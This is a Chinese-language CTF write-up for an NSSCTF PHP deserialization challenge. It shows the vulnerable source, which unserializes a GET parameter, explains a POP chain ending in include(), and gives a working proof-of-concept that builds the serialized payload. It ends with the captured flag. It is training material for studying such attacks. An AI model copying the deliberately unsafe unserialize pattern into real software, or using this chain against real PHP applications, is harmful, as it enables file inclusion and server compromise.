题目源码
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
解题思路
Road_is_Long类中，__toString()在该类被当作字符串处理的时候执行，__wakeup()方法下的preg_match()将$page变量当作字符串处理。如果我们把类中的 $page 赋值为此类本身,则当其触发__wakeup() 方法后，触发__toString()。而unserialize()会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup()方法，所以当我们利用该类构造的序列化数据传入时，此类下的__wakeup() 方法就会调用。
然而触发__toString()下的$this->string->page该如何利用？
看Make_a_Change类下，有一个__get()方法，当访该类中私有或者不存在的成员属性值时调用。而Make_a_Change类中没有$page变量，则将Road_is_Long类中的$string赋值为Make_a_Change类，可以触发__get()方法。此__get()将$effort当作函数执行，并返回。
再来看Try_Work_Hard类，其__invoke()方法，在把该类当作函数执行时调用。__invoke()下的append()就是使用include()包含一个目标。因此将Make_a_Change类中的$effort赋值为Try_Work_Hard类，再将Try_Work_Hard类中的$var赋值为/flag
整体思路
Road_is_Long __wakeup() --> Road_is_Long __toString() --> Make_a_Change __get()
--> Try_Work_Hard
代码实现反推
$a=new Road_is_Long();
$a->page=new Road_is_Long();
$a->page->string=new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
POC
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="/flag";
}
class Make_a_Change{
public $effort;
}
$a=new Road_is_Long();
$a->page=new Road_is_Long();
$a->page->string=new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
?>
传参得到flag
NSSCTF{5a7a2d51-9b77-465b-820c-d7f84750140c}